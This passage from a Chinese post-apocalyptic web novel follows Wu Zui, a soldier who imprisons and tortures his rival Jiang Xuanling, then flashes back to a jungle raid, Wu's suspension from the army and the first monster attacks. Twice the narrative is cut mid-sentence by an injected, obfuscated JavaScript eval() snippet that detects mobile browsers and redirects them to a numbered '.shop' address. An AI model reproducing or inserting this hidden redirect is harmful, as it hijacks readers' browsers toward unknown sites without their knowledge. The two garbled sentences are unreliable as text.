《不可沦陷》 1. 囚徒 “真的抓到了吗?确定是江玄灵本人吗?” “让我看看……哎哟别挤!” 高墙外被里三层外三层的民众们围了个水泄不通,人们伸长了脖子向核心区里面张望,想要一睹被囚禁之人的真容,却只能远远地看到别墅金色的屋顶尖。 末世以来亚洲大陆上最大一场战役持续了三天三夜,几大势力杀得昏天黑地,直接参战的人数超过二十万人。 但普通人和异能者的差距就像是蚂蚁和大象的差距,战局到了最后其实就是各家异能统领者的决斗。 而这一次,战败的人出乎意料。 “江玄灵被生擒?不可能吧!他可是整个大陆最强的异能者啊。” “就是!假的吧!” “是真的!我亲眼看见了!”人群中有参战的知情者激动证明,“江玄灵占据了H城后又想吞并A城,精神力消耗过度,统御者大人就在这时杀来,一支灌满精神力的箭又狠又准正中江玄灵左胸,差点要了他的命!人被抱回来的时候浑身是血意识不清,大家一开始都以为他死了。” 周围顿时响起一片意味不明的倒吸凉气声,有人下意识按住心口,甚至有人偷偷在胸前画十字。 明明讨论的是敌人的首领,却好像亵渎了什么似的。 “贪心不足啊……” “果然还得是统御者大人出手。” 议论声渐热。 “我一直听说一条传言,统御者大人和江玄灵曾经在一起过,但后来被江玄灵背叛。你们说统御者大人这次出兵,该不会就是为了……” “嘘!你不要胡说!谁都知道统御者大人恨江玄灵入骨,当初统御者的母亲就是死于江玄灵之手。” 正说着,身后远处岗哨声响起,护城大门打开,黑色骏马从外面疾驰而入。 所有民众瞬间噤声,恭敬地弯腰躬身,自动让出一条路。 尘土飞扬中,高大的阴影从人群上方掠过——统御者坐在马上,阳光从侧方投射过来,他的面容半边笼罩在暗影里,鼻梁尤为高挺,明明是极英俊的面相,却因为表情过于森冷而显得可怕。 他一刻也没有停留,径直进入了高墙内的核心区。 - 江玄灵意识到自己醒了,是因为闻到了花香。 鸢尾花。 有那么一瞬间他有点恍惚,还以为回家了,仿佛掀开窗帘就能看见下方大片的花田。 “咣当!”一声巨响,房间的大门被猛地推开,有人粗-暴地闯进来扰碎了那稍纵即逝的幻想。 看见他还在床上,那人微不可察地松了口气,又转身将门重重反锁。 江玄灵皱了皱眉,身体的酸痛后知后觉地侵袭上来,他努力想要掀起沉重的眼皮,脚步声已经到了近前。 他能感觉到那人弯腰靠近的温度,顿了几秒,一只大手不留情面地掐住了他的脸颊:“醒了就别装睡。” 江玄灵终于费力地掀起睫毛,眼前映入统御者大人冰冷的脸。 吴罪神色阴郁,紧盯着他。 江玄灵肩上缠着绷带,脸上带着病弱的苍白,尖削的下巴被迫抬起,耳坠在颈侧轻轻晃动,紫色长发顺着他清瘦的肩膀滑落,在枕头上散成一片,看上去脆弱又无害。 ——他向来习惯用这副样子骗人。 吴罪眼里翻涌的火几乎要把对面的人烧穿,江玄灵的眉心却缓缓舒展开,甚至带了些浅淡的笑意,他长得极为好看,那一笑几乎让人有种满堂生辉的错觉:“你回来了。” 多么熟悉的一句话,就好像三年前每次他回家时一样。 江玄灵的视线落在吴罪的发梢上,支棱的发尖上粘着露水,他轻轻地问:“去做什么了?” 吴罪牙关咬紧到腮帮子都在发痛。 他的语气怎么能这么如常? 仿佛他们之间从未发生过龃龉,好像几天前他们两个没有在战场上杀得昏天黑地想要对方的命,仿佛他们还在同一阵营,像一家人一样。 吴罪捏住江玄灵下巴的手不受控制地收紧,青筋一根根崩出:“你难道还指望着我在床前守着你醒来不成?” “怎么会呢。”江玄灵轻声说,“我们是宿敌啊。” 吴罪像是要把他生吞活剥:“我真恨不得杀了你!” 江玄灵忽地笑了,他雪白的脸颊被捏得发红,那笑容却美得摄人心魄,吴罪的大脑那一瞬几乎空白。 江玄灵看着他轻声说:“那你那一箭,怎么射偏了呢?” 仿佛被电了一样,吴罪猛地推开了他。 江玄灵倒回枕头里,视线扫过吴罪的无名指,那里戴了一枚很精致的银白色厚壁戒指,主石是什么看不太清。 江玄灵没见过那枚戒指,只是刚才掐着他脸的时候,硌得生疼。 或许是气喘得太急,江玄灵忽地剧烈咳嗽起来,艰难地翻身捂住嘴,后背震颤不止。 吴罪气急败坏地站起来在屋里走了两圈,又快步走回来怒道:“别给我玩这套!以你的恢复能力左肩的伤早就没事了!” 江玄灵伏在床上喘息着,额头上都渗出了薄汗,艰难地抬头说:“你在这间屋子周围放满了精神力屏蔽器,我的能力被压制,伤口恢复得也慢……唔!” 他忽然痛苦地捂住左肩绷带,身子脱力似的一沉。 吴罪瞳孔一缩,完全是下意识地上前想要扶他,然而脚刚动就意识到了不对。 眼前寒光乍现,带着杀机,极其敏锐的反应力让吴罪立刻仰头后撤,然而江玄灵比他更快,不知怎么已经到了吴罪背后,修长的手指从后面一把掐住他的脖子,尖锐的钢笔笔尖分毫不差地抵在了他的喉结上。 “大意了,统御者大人。”江玄灵磁性的嗓音扫进吴罪耳廓里,那声音简直人浑身发麻。 绷带散落,他的肩膀果然早已恢复如初,光洁得连个印子都没有,“精神力屏蔽器对我有用,对你也有用。在这间房子里我们都只是普通人,你的命在我手里。” 吴罪的喉结上下滑动,江玄灵的胸口紧贴着他的后背,吴罪能感觉到他呼出的热气吹在自己侧颊,这动作太像是在紧紧相拥,暧昧得过分了,若是在任何其他时间地点都足以让人血脉偾张。 江玄灵有些疑惑:“把钢笔这么顺手的武器留在房间里,不像你会犯的错误。终究是打了胜仗,心急了吗?” 吴罪一动也没动,像是僵直住了。 江玄灵的气息有些微不可察的不稳,他不动声色地闭了闭眼,再睁开时手中威胁的力道更重了些:“放我出去,吴罪。” 忽然,吴罪笑了起来,像是终于确认了什么,有种如释重负的意味:“果然你一点都没变。” 江玄灵皱眉,似乎察觉到了危险的气息。 “利用我对你的感情,为自己谋取利益,你一直都是这样做的不是吗?”吴罪侧过头看向他,笑得肩膀都抖起来,尾音却逐渐变狠,“你以为这支钢笔是‘不小心’留在抽屉里的吗?我会一直犯同样的错误?” 脑海中忽地警铃大作,下一秒吴罪猛地抓住了江玄灵的手腕,冰凉的笔尖猝然下压,在他脖颈上刺出一颗鲜红的血珠,然而吴罪毫不在意,掌心的温度炙热得像是烙铁,力道之大让江玄灵根本无法逃离,他的眼底发出野兽一样凶残的光,像是要把人吞吃入腹:“你以为,到现在我还对你有感情吗?” 吴罪猛地抬手按下了无名指戒指的开关,一瞬间,红色的液体从戒臂的隐蔽机关涌入了戒指主石的位置,发出了刺目的红光。 江玄灵手中的钢笔当啷一下子掉落在地上,猛地按住了小腹,痛苦地弯下了腰:“唔!……” “碄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520981|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元素,你对这玩意过敏。”吴罪一把揽住江玄灵的腰把人猛的丢回了床上,江玄灵挣扎着挺身,吴罪扑上去狠狠把人压在了身子下,“你对其他任何东西和人的反应都是装的,只唯独对这东西的反应是真的!” 江玄灵逃离却被桎梏住动弹不得,腹中的内核在碄元素的刺激下剧烈疯狂震颤乱撞,牵连着五脏六腑都在痉挛剧痛,他用力按住腹部,脸色苍白如雪,冷汗如雨下:“别……别用这个……” “痛吗?比不上我遭受痛苦的万分之一!” 极度愤怒之下浑身的血液都在血管里爆裂,吴罪抓住江玄灵的一只手死死按在头顶,把碄元素戒面狠狠按在了江玄灵小腹上。 “啊!”江玄灵发出了一声凄厉的惨叫,身子猛地弹起又重重落下,那疼痛几乎毁天灭地,像是有无数利爪要把他从内部撕碎。 吴罪狂暴的心跳在耳膜里砰砰作响,他以为自己看见江玄灵受苦心里是痛快的,但却没想到那种快感稍纵即逝,心脏随即蔓延上撕裂般的痛。 真是可笑,自己在这个时候,居然还在心疼。 吴罪咬牙,从口袋里拽出手铐把人狠狠铐在了床头上:“我倒要看看装柔弱的把戏你今天还想玩几次!” 江玄灵一手按着小腹另一只手抓住他的手,冰凉修长的手指关节用力到发白,剧烈颤抖,甚至无法说出完整的句子:“吴罪……求你停下……肚子好疼……” 演技真不错,这点计量的碄元素给他造成的痛苦大概只和肠胃炎差不多,演得倒像是要了他的命似的。 自己还是心软了,真应该直接把人丟进放满碄元素水的浴缸里!以他做过的事情,让他死都不为过! 不知想到了什么吴罪神色骤冷,像是要证明什么一样把戒指狠狠一压,用力到几乎在江玄灵平坦的小腹下压出一个深深的凹陷。 那一瞬间江玄灵甚至无法发出声音,巨大的痛楚山呼海啸一般将他淹没,脖颈上的青筋瞬间绷紧,痛到几乎要把牙齿都咬碎。 吴罪终于收了手,江玄灵脱力似的倒回枕头上。 吴罪捏住他冰凉的脸抬起来,感受着江玄灵完完全全被自己掌控在手里,即便是装的,至少每一个颤抖的呼吸都属于自己。 “当惯了上位者,如今却成了我的囚徒,你后悔吗?” 江玄灵紫色的长发被汗水浸透粘在颈侧,已经被折磨得完全没了力气,虚弱喘息着,纤长的睫毛湿漉漉的不知道是汗还是泪,简直能让任何人怜惜:“放我走……” 他的演技真的太好了,吴罪原本就一直颤抖的心脏在这一瞬差点没绷住,然而那只是一瞬。 “当初是你先招惹我,现在想走?”猎手怎么可能放走猎物,吴罪眼底翻涌着疯狂和狠绝的暗色,“你做梦!” 脸上忽地一热,吴罪愣住了。 他抬手擦了一下,看见一片血红,才意识到那是江玄灵喷出来的血。 紧接着又是一口,江玄灵开始大口大口地吐血,根本止不住。 吴罪大脑里嗡的一声,猛地把那枚价值连城的戒指拽下来扔到了最远处,捧住江玄灵的脸,说话都抖了:“你他妈别给我装!我警告你,我不吃你这一套!” 触目惊心的红浸染了床单,江玄灵的瞳孔逐渐涣散,他染血的嘴唇动了动,却并没有发出任何声音。 吴罪目眦欲裂,看懂了他的口型,那赫然是“对不起”。 然后江玄灵整个人都软了下来。 “江玄灵!!” …… 江玄灵感觉自己被抱了起来疯狂地奔跑,吴罪的声音似乎破了音,周围人声嘈杂,却又逐渐消散归为沉静。 清风吹拂,花影摇曳,身子似乎变得很轻,随风一起飞到空中,他又看到了大片片摇曳的鸢尾花。 是时候该回家了吗。 2. 反抗 三年前。 轰隆!—— 闪电划破深夜,南美雨林中猝然下起了瓢泼大雨。 咒骂和大笑声同时从雨林深处的一栋两层高的建筑物中传来,塞塔武装的首领们正在楼上打牌,大概是刚结束一轮,灯光从窗口透出来。 这帮亡命徒做着掉脑袋的生意,把基地设在无人愿意涉足的雨林深处是最聪明的选择。 周围全部重兵把守,这栋楼后还有一栋,里面没有人声,却比大佬所在的那一栋兵力更足。 忽地又是一声炸雷,一名在后楼巡逻的武装人员忽地警惕地朝着树林端起了枪——树影中似乎有些异样。 大雨婆娑,被闪电照亮的树影在狂风和雨点中摇晃,一只被淋湿的猴子仓皇窜了出去。 武装人员松了口气,放下枪回头的一瞬间却□□脆利落地扭断了脖子,瞳孔里最后映出的是个高大强悍的亚洲男性。 吴罪一把揪住武装人员向后坠落的尸体,轻轻放在了地上,对身后的小队队员打了个手势。 夜幕中,这支H国最精锐的特种小队就像影子一样和夜色与雨幕融为一体,眨眼的工夫已经解决了后楼外部的阻碍,没有引起前面主楼里的任何注意。 一分钟后他们上到了后楼的二层,甚至连枪声都没有响起——特种部队没有给楼中看守者任何开枪的机会,大概在五分钟之内,整栋楼里的亡命徒已经被团灭。 “队长。”队员卢宇把从被破解的保险柜中拿出的东西交给吴罪。 吴罪把军刀插回口袋,随手抹掉刚才溅在眉毛上的血,接过手提箱放在桌上,咔嗒一声打开,露出里面形状诡异的弹头。 生化弹,一颗就能让大概200万人口的城市陷入万劫不复的境地,人们会感染致命疾病,浑身溃烂而亡。 人类对同类之间的凶残真是难以想象。 吴罪深邃的眉眼冰冷中透出厌恶,他身材强悍结实,光是站在那里就很有压迫感,此时露出这种表情,周围的队员们都大气都不敢出。 “东西拿到了吗?”所有队员的耳机里忽然传来一个突兀的声音,“拿到了就赶紧回来。” 吴罪根本不搭理,队员钱乐乐见状按住耳机:“拿到了队长。” 虽然小队里大家都叫吴罪队长,也都把他当老大,但实际上他是副职,正队长就是耳机里这位汪少爷,前几天伤了胳膊,此时在营地里隔空指挥。 汪子维:“那你们还愣什么呢!” 所有的队员一起看向吴罪,等着他发话,吴罪合上箱子,将目光投向外面,透过窗户看向对面楼里喝酒打牌的一众亡命徒头子,顿了顿,笃定地说:“阿尔瓦多就在对面,我们能拿下他。” 汪子维立刻炸了:“吴罪!我警告你不要节外生枝,我们的任务就是拿走弹头。他们有六十多人你们只有八人,没有周详准备的事情不准做,万一出了问题老子要负责任的,你他妈立刻给我回来这是命令!操了你是老大还是我是老大?老子这次非要让你写五千字检查……” 就在这时,忽地一声巨响! 那不是雷声,而是一种仿佛来自很远很远之外的强烈震动,区别于任何一种已知声音,它甚至更像是某种声波,以排山倒海之势从万里之外席卷而来。 耳机里的声线骤然变成了尖锐的噪音,所有人都捂住了耳朵,有几秒钟队员们什么都听不见,几乎是同时声波穿透了他们的身体,又向更远方铺天盖地地散开。 雨林里的野兽们惊慌失措四散奔逃,鸟儿们甚至不顾暴雨尖叫着冲向天空,树木疯狂摇动,昭示着某种非比寻常。 对面楼里的电路似乎也受了影响,灯一下子全黑了,塞塔武装的亡命徒们用西班牙语大叫,一片子弹上膛的声音,以为受到了袭击,立刻纷纷下楼。 “卧槽这什么声啊。”没想到十几公里之外的汪子维也感受到了。 尖锐的耳鸣振得人心脏都在颤,几欲作呕,吴罪紧闭双眼强忍不适,然而耳机里的汪子维却一边骂娘一边继续刚才的命令:“吴罪你……” 耳鸣戛然而止,吴罪拽掉耳机摔了出去:“你什么你!去他妈的命令,二队跟我走!” “是!!” 混乱的雨夜,措手不及的敌人,有什么比现在的时机更千载难逢?在这种时候撤退的人才应该上军事法庭被追责! 没有任何一个人质疑,全队火速出动,密集的枪声在暴雨中响起,响彻整个夜空。 …… 吴罪带着小队回来的时候已经是后半夜了,所有人身上都是血和泥水,还有人受了伤,被队友架着下了车。 不过每个人都高兴得要命。塞塔武装被捣毁,组织的一号头目阿尔瓦多被击毙,盘踞在雨林里数年、盘根错节的毒瘤被拔除,巨大杀伤性武器被缴获,这一仗打得漂亮。 吴罪脸上的笑意还在,离得老远就看见汪子维浑身散发着疯狗即将咬人的气息守在门口,一见他下车立刻咆哮着扑上来:“吴罪你!……” “报告队长,任务圆满完成。”吴罪上前一步,他的身高接近一米九,比汪子维高半个头,顶着那张很像反派的帅脸,居高临下看下来的时候特别像在挑衅。 汪子维气得嘴角都在抽搐。 他知道队里的人不服他,他走到这个位置绝大成分归功于他老爹的面子,但是他毕竟也是凭着自己的本事考上的特种部队,是十万里挑一的天之骄子,有资格站在这里。军队里讲的就是纪律,是规矩!不管怎样他的军衔就是比吴罪高,吴罪他凭什么不听自己的命令! 汪子维咬牙切齿地用没受伤的手指着吴罪的鼻子:“老子是你的上级,不听我的话就是违纪!你擅自行动的事情我会报上去!你他妈这次别想全身而退!” “队长队长!有话好说。”一旁的队员们眼见情况不妙,赶紧上来圆场。 “这次实在事出紧急,副队才没来得及汇报。” “对对对,耳机信号不好……” 汪子维狠狠推开他们,一把揪住吴罪的衣领:“别以为你是烈士遗孤就可以为所欲为。你老爸死了那么多年了,你以为他的光环还能庇佑你多久?” 吴罪的脸色微微变了。 汪子维靠近他耳朵,恶意毫不掩饰:“人们早就忘了他做过什么了,你爸除了在烈士陵园留下一块碑什么没留下,再过几年等他们那辈人都退休,还有谁会照顾你?你最好向天祈祷,到时候别落在我手里。” 空气死一般的寂静,吴罪看着汪子维笑了一下,然后用尽全力一拳揍在了他脸上。 - “你是不是想造反!!——” 一大早,老赵办公室里传来的咆哮就差点把房顶掀了,正在门口浇花的勤务兵吓得魂飞魄散,生怕牵连自己,赶紧拎着水壶贴墙角溜了。 老赵把办公室的实木桌子拍得啪啪响,气得本来就黑的脸涨红成了猪肝色:“公然违抗上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520982|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级命令,未经允许擅自行动,居然还敢动手打人!?我看你小子这身军装是穿腻了!” 吴罪一脸无辜地站在桌子对面:“是他先说我的。” 老赵抓起桌上的茶杯……舍不得,又换成了垫布狠狠砸了过来,吴罪没躲,垫布砸在他胸口又滑落下去。 “汪子维的鼻梁骨都断了!你知道汪军长气成什么样?如果不是我们保着你,你以为你还能站在这里?早就上军事法庭了!” 吴罪不是不知道好歹的人,老赵从小看着他长大,在父亲去世之后照顾了他们母子俩不少,但吴罪真的受够了,这么多年等级森严的规矩都没能把他驯服,他厌恶这种受制于人的感觉,尤其是制他的还是汪子维那种关系户蠢蛋。 他抿着嘴没说话。 老赵看上去像是想把吴罪生吃下去嚼碎骨头再吐出来,然而磨牙霍霍了半晌,最终却变成了一句恨铁不成钢地咬牙:“枪打出头鸟,你锋芒太盛,还没熬出头就被打死了,蠢不蠢?” 吴罪脸上的无所谓散去,他终于忍无可忍,原本就深邃的脸上露出了真实的戾气:“赵叔,所以应该按照汪子维那个怂货的指挥撤退,看着阿尔瓦多大摇大摆地逍遥法外?他这一次敢买卖生化武器,下一次就敢倒卖核弹,要用多少人的命去换一次守规矩?” 老赵的脸部肌肉都在抽搐,他知道吴罪是对的,在那种情况下出击是最完美的选择,但他们是军人,不是雇佣兵,军队里需要的是绝对服从,是保持队伍的绝对忠诚,个性不被允许,等你真坐到那个位置上才有资格说话。 老赵深吸一口气:“把你的枪交出来,还有证件和章。” 吴罪愣了一下,却没有再辩驳什么,苦笑一声,低头解开了自己的枪套,把枪按在了桌上。 “卧槽卧槽!老大交枪了!”“真交了?” 办公室楼对面的宿舍楼窗边七个脑袋挤在一起,远远地看见吴罪把代表军人身份一切东西一件件放在了赵启合的桌上。 “靠!”梁景瑞受不了跳起来,“我要去和赵政委求情!” 他话音还没落,对面楼里的老赵像是背后长眼似的猛然回头,大步走到窗边拉开窗户冲着对面宿舍楼:“想死是不是!看什么看!都给我滚回去!” 七个脑袋立刻齐刷刷地蹲下。 “回去好好反省反省,什么时候想明白了再打报告。”老赵脸黑如锅底,对着吴罪摆手,“滚吧。” 吴罪低头微微躬身,转身走了。 这样的性格,是不是当初同意他当兵就是个错误呢? 老赵走到窗边,看着吴罪已经走到了楼下,正往门外走。 他的身材高大结实,脊背宽阔挺直,虽然是违纪被暂停军职,却没有半分颓废之气,他像极了他父亲,却又比吴正华更锐利、更有锋芒。 老赵看了许久,直到吴罪的身影消失在大门外,终于叹了口气。 忽地,他感觉有什么东西扎了自己手背一下,低头一看,居然是摆在窗台上的吊兰。 老赵诧异地弯腰查看,发现这盆摆了好几年的草好像在一夜间长大了不少,细长的叶片几乎占据了整个窗台,如果不是花盆和之前一样,他几乎要以为是谁偷偷换了一盆。 手背上被叶片扎到的地方居然渗出了血珠,老赵捏了捏叶片,差点又被划了一下。 那原本柔软的叶子居然变得和小刀一样坚硬又锋利。 “真是奇怪……” 3. 末世开始 离开部队的第二天,吴罪就回到了首都A城,他长大的地方。 周末的城市道路很通畅,路虎行驶在湛蓝的天幕下,吴罪开车去超市,看着一闪而过路边公园里嬉戏的孩子和跳舞的老人,还有打扮时髦逛街的年轻人,只觉得有点恍惚。 打打杀杀习惯了,他几乎要忘了文明世界的样子,美好的有点不真实。 “老大,”耳机里卢宇的声音打断了他的走神,“我打听到汪子维是想让汪军长直接开除你的军籍的,还是老赵和你父亲曾经的那些战友一起出面求情才把你保下来的。” 吴罪降下车窗,左胳膊肘搭在窗口,风从外面吹得他眯起眼睛。 他都能想象出当时的画面。 那可不是开口打个招呼就能行的,大概是一屋子年过半百的老同志们豁出老脸、低声下气至少两个小时才达成的结果。 “鱼儿,你知道我当初为什么报考军校,拼死拼活地考到特种部队吗?” 卢宇:“因为想继承你父亲的遗志?” 吴罪沉声说:“大家都是这么猜的,但其实不是,我想当军人、当长官,因为能力足够大之后就能掌控和改变一些事情,我想站在权力的顶端,但是事与愿违……” 这话太有野心了,卢宇愣了一下,若非吴罪认定他是生死之交,这话他是断然听不到的。 但卢宇觉得吴罪配得上这份野心。 吴罪是他们整个特种部队最厉害的□□,传奇一样的人物,也没有人比他更狠更强,有他参与的行动几乎就没有失败的,但他却一直在被压制,升到中尉就迟迟不再有其他动静,明明以他的军功,超过汪子维两级都绰绰有余。 卢宇连忙说:“老大,你也别太生气了,谁都知道汪子维是什么货色,等过段时间风声过了你再打报告回来。” “你知道汪子维为什么下令不许动阿尔瓦多吗?”吴罪忽地反问。 卢宇:“啊?因为他怂,怕出问题担责?” “不,”吴罪平静地说,“是因为阿尔瓦多手里掌握着多国政要的把柄,他死了之后那些东西的归属权会立刻四散到世界各地的亡命徒手里,比起那样,不如和阿尔瓦多一人保持利益往来,起码更好管控。” 卢宇惊得说不出话来。 吴罪握住方向盘:“所以,事情到了最后往往是利益的纷争,结果不重要,甚至对与错都不重要,真是没什么意思。” 汪子维算个屁。 不知道从什么时候起,他感觉自己被架了起来,总是眼睁睁地看着外面发生的事情发生,却无法做出任何改变,有一张无形的大网罩在他身上束缚着他的行动,逼迫他麻木僵化。 不只是这一次,也不只发生在他身上。 金字塔的顶层已经腐朽,有人在试图把他们打造成只会挥砍的、合格的刀,他们不需要思考,只需要服从命令。 这样的地方,还值得回去吗。 卢宇虽然年龄最小,心思却是队伍里最细的一个,已经敏感地察觉出了什么:“老大,我们都等着你回来呢,你不回来我们都没心思训练。” 在没想好之前不能牵连大家,吴罪转移了话题:“我现在正在去超市的路上呢,几百年不回一次家,冰箱里一点存货都没有了。” 卢宇微不可察地松了口气:“真潇洒,老大你这次就当放假了……话说你会做饭?” “那当然,你罪哥什么不会?红烧清蒸样样拿手。要不是天天待在军营里,早就老婆孩子热炕头了。” 卢宇噗地笑出了声:“咱张旅长的漂亮闺女从内蒙古追你到海南,你愣是没见人家一面,罪哥,你说你该不会是那方面有点什么问题,所以才……” 吴罪啧:“你小子是不是不想活了?我那是不想耽误人家,我俩不合适。” “有谁不喜欢热情豪爽大美女啊!张珺姐姐是多少人的梦中情人呢。”卢宇心说好好一个老大可惜瞎了眼,“那你说你喜欢什么样的?” 什么样的? 脑海里朦胧间闪过一个淡淡的影子,轻薄的窗纱在微风中扬起,白皙修长的指尖抚摸过淡紫色的花瓣,继而抚上领口,一粒粒地解开衬衫的扣子,露出清瘦的锁骨…… 卢宇忽的压低声音:“哎哟卧槽有人来了!罪哥我先溜了!下次再给你打电话!” 吴罪猛地回过神来,耳机里已经变成了通话结束的忙音。 怎么又想起那个梦了? 吴罪捏了捏眉心,这么多年他经常做到类似的梦,每次想要看清那人的样貌就会赫然惊醒。 心理医生告诉他可能是因为小时候看过类似的影视作品,但他觉得不是,有什么电影片段能以类似春梦的方式影响他十几年?甚至影响他找对象? 如果吴罪不是坚定的无神论者,几乎要以为自己是不是被鬼缠上了。 忽然前车一个猛踩刹车,吴罪反应快一脚刹住。 路上一片滴滴滴的按喇叭声,前面不远处好像出了事故,堵成了一片。 吴罪从车窗探出头,问调头开回来的对面车:“前面怎么了哥们儿?” “一棵特别粗的树倒了,砸到了路过的车,刚才警察和消防都来了。”车上男人摆手,“调头吧,前面堵死了。” 没刮风下雨的怎么树忽然倒了? 本来十几分钟就能到的路,换了条路硬是开了半小时,好不容易到了大型超市门口,恰逢周末,门口停车场又人满为患。 吴罪绕了两圈才找到一个空车位,往前开了开刚准备倒进去,就听后面“呜!”的一声油门加速声。 一辆保时捷一头扎了进去,干脆利落地把他的位置抢了。 吴罪:“……” 今天大概是水逆。 保时捷车主从车上下来,瞥了一眼吴罪,砰的一声关上车门:“先来后到,我先来的。” 吴罪简直被他的厚颜无耻逗笑了,戴着金丝眼镜的“社会精英人士”仰头挑衅地上下扫视他一圈,大有不服就理论的架势。 吴罪见多了血肉横飞和生死存亡,跟这种傻逼废一句话他都觉得浪费生命,一脚油走了,找了个别的车位停。 “7月28日晚23时左右,一场不明原因的地震波席卷全球,许多民众反应地震波来临的时候感觉到了耳鸣和头晕,同时伴有大量电器失灵,目前该地震波的成因尚不清楚,各地专家正在积极调查,尚未收到有人员因地震波入院的消息……” 超市里的商品琳琅满目,吴罪随手拿了个n合一牙膏丢进购物车里,就听见走廊上的电视里正在播报新闻。 这场冲击波居然是世界范围内的。吴罪微微皱眉。 “还说呢老婆,”一旁路过一对小情侣,男人小声说,“今天早上我M国的同学又给我发过来一段视频,哈佛物理系知名教授说这不是地震,而是某种冲击波,震源就是在咱们H国的首都。” 女人:“咱们这?” 吴罪拿起一桶酸奶,据他所知,最近首都附近甚至西边并没有进行大规模武器试验,不过有些重大绝密项目是否在进行他也不确定,但他确定的是,现如今的武器没有任何一种能造成这种范围的效果。 心里莫名有种不安,吴罪加快速度选完了要买的东西结了账,拎着两大兜东西找到自己的路虎,把东西放到了后备箱里。 然后他摸出手机给备注“江大总管”的号码拨了过去,不多久里面就传来了愉悦的女声: “喂儿子,怎么啦?你妈我这次算是玩high了,E国真是有意思,你见过两米高的狗熊吗,我还和它拍照了呢,发过去给你看看。” 吴罪一句话没来得及说,已经收到了二十多张照片,大多数是他妈妈和熊的,还有一张他妈妈一手举着啤酒,一手摸着战斗民族小伙子光溜溜的腹肌笑开了花的,不过这张照片被火速撤回了。 “发错了发错了。”江雪容笑,“熊不错吧。” 江雪容,吴罪的亲妈,货真价实的女强人,吴罪他爸去世后江雪容硬是从一个小职员一路疯狂卷到了部门公司高层,后来又经过几次跳槽,年薪翻了n倍,最后的工作是在一家私企当总经理,最近才光荣退休。 可能是前半辈子太辛苦,退休之后江雪容开始满世界旅游,说是要把 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这些消息在国内还没有出现,是没有,还是为了防止恐慌先被封锁了? 如果是真的,那这些传言都有一个共同点,那就是植物好像有了自我意识,在主动攻击人类。 这也太科幻了,植物怎么会杀人?是普遍现象还是个别?是短暂还是持续? 刹那间吴罪改变了计划:“我明天回B城找你。”不管是真的假的,他不放心他母亲一个人。 “好啊!”江雪容挺开心的,好久没见儿子了,“部队那边也正好歇歇。” 作为烈士家属,这么多年江雪容和丈夫的战友们都是朋友,有什么事都会第一时间有人给她通风报信。 早些年江雪容其实非常反对吴罪当兵,刀尖舔血,说不定哪天就像他爸一样没了,但是吴罪倔,认准的事情就不回头,扭转不了儿子的心意,江雪容于是扭转了自己,反正只要没有原则性错误,她始终站在吴罪的一边。 吴罪的嘴唇动了动,想要说什么,忽地又有救护车和警车从超市前疾驰而过又驶向更远处。 这是今天看见的第三波了。 “飞机要起飞了儿子,”电话那头江雪容急忙道,“我得挂了,咱们明天见。” 吴罪回神:“妈你注意安全……” 后几个字还没说完,对面已经在空姐的催促下挂了电话。 吴罪片刻也不再耽搁,拉开车门就要上车,忽地注意到前面不远处有些异常。 一个奇怪的少女从附近的小路缓缓走来,她穿着漂亮的粉色洛丽塔裙子,身形看上去不过十六七岁,走路的时候似乎腿脚很别扭,跌跌撞撞的。 她的脖子上顶着一颗硕大到不成比例的橘猫的猫头,比她的肩膀还要宽不少,大概是因为过于沉重了,一直在左右摇晃,脖子和头颅连接处红腻腻的一片不知道粘着什么液体。 这幅装扮太奇怪,一路走到超市门口已经引来了不少围观的。 “是COSER吗?” “应该是吧,这附近就是购物中心,好多年轻人经常在那搞漫展。” 人们议论纷纷,围观的人逐渐增多,人们好奇地把少女围在中间。 “卧槽!卧槽!”一个年轻男生激动地从人群中挤了过去,“是兽装吗?” 少女僵直地低头看向他,金色的猫眼在阳光下缩成了一道竖线,脸上的胡子微微抽搐。 “这也太真了吧!是你自己做的吗?”男生忍不住用手去碰少女脸上的猫,崇拜得声音都变了调,“老师你是我见过的出兽装出的最牛逼的。” 他急急忙忙地掏出手机,打开拍照模式:“老师可以集邮吗?我一定要让我的亲友看看。” 说罢他直接凑到了少女旁边摆好姿势:“三二一……” 吴罪从远处狂奔而来冲他猛挥手:“快躲开!” “兽装少女”缓缓转头看向男生,狞笑着张开血盆大口,露出明显不是人类能有的满嘴尖牙,一口咬下了男生的头。 4. 混乱 噗!—— 整颗脑袋被咬掉,大动脉断裂的瞬间鲜血是直接喷出来的,周围离得近的人们只感觉脸上像是被淋了热水,血液的腥味瞬间直冲鼻腔。 和平年代哪有人经受过这么刺激的场面,有那么两秒周围死一般的寂静,直到那猫嘎吱嘎吱嚼碎了嘴里的碎末咽下去,又扑向了离她最近的一个小姑娘。 砰的一声!吴罪一脚踹在了那猫的太阳穴上。 成年男人的爆发力非常可怕,更别提是特种部队的队长,这一脚要是踹在墙上能把墙都踹个窟窿,然而那猫的条件反射极快,被踹中的瞬间身子已经弹了出去,在地上打了个滚,卸去了一半的力道。 “愣什么呢快跑!”吴罪一声暴喝,周围的人们如梦初醒,尖叫声撕裂长空,所有人开始疯狂逃窜。 “吃人了!有怪物!”“救命啊!” 吴罪把吓得大哭的小女孩一把拽过来塞进她妈妈怀里,那猫人痛苦怪叫着爬起来,在原地猛甩头,大概是被踹的有点晕头转向。 